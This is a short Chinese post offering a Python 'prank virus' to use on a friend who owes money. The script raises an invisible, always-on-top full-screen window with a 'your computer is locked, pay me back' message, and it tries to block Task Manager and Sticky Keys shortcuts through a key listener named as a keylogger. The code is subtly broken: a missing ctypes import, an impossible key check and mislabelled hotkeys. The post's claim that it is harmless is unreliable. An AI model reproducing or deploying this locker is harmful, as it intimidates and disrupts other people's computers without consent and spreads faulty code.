只用于恶搞欠我10块钱不还的盆友。
切勿用于他人的电脑上,不然ta直接和你翻脸。
此恶搞病毒对电脑没有危害性。可以随便试逝世。
import sys
from PyQt5.QtWidgets import QApplication, QMainWindow, QMessageBox
from PyQt5.QtCore import Qt, QTimer
from pynput import keyboard
class FullScreenWindow(QMainWindow):
def __init__(self):
super().__init__()
# 设置窗口标题
self.setWindowTitle("全屏窗口")
# 设置窗口大小为屏幕大小
screen_geometry = QApplication.desktop().screenGeometry()
self.setGeometry(screen_geometry)
# 设置窗口为无边框
self.setWindowFlags(Qt.FramelessWindowHint)
# 将窗口置于顶层
self.setWindowFlags(Qt.WindowStaysOnTopHint)
# 设置窗口透明度为0
self.setWindowOpacity(0)
# 创建定时器
self.timer = QTimer(self)
self.timer.timeout.connect(self.stayOnTop)
self.timer.start(1000) # 每隔1秒执行一次
def stayOnTop(self):
# 将窗口置于顶层
self.setWindowFlags(Qt.WindowStaysOnTopHint)
self.show()
def mousePressEvent(self, event):
QMessageBox.information(self, "恭喜", "你的电脑被我锁了,赶快还我钱!")
def on_press(key):
try:
if key == keyboard.Key.ctrl_l and key == keyboard.KeyCode(vk=0x52): # Ctrl + Shift + R (任务管理器)
print("屏蔽任务管理器快捷键")
return False # 返回 False 表示拦截此事件
except AttributeError:
pass
# 连按4次 Shift 键
try:
global shift_count
if key == keyboard.Key.shift:
shift_count += 1
if shift_count == 4:
print("屏蔽连按4次 Shift 快捷键")
return False # 返回 False 表示拦截此事件
else:
shift_count = 0
except AttributeError:
pass
def start_keylogger():
with keyboard.Listener(on_press=on_press) as listener:
listener.join()
if __name__ == "__main__":
app = QApplication(sys.argv)
window = FullScreenWindow()
window.showFullScreen() # 显示全屏窗口
# 禁用任务管理器快捷键
ctypes.windll.user32.RegisterHotKey(None, 1, 0x0003, 0x52) # Ctrl + Shift + R
# 启动键盘事件监听
start_keylogger()
sys.exit(app.exec_())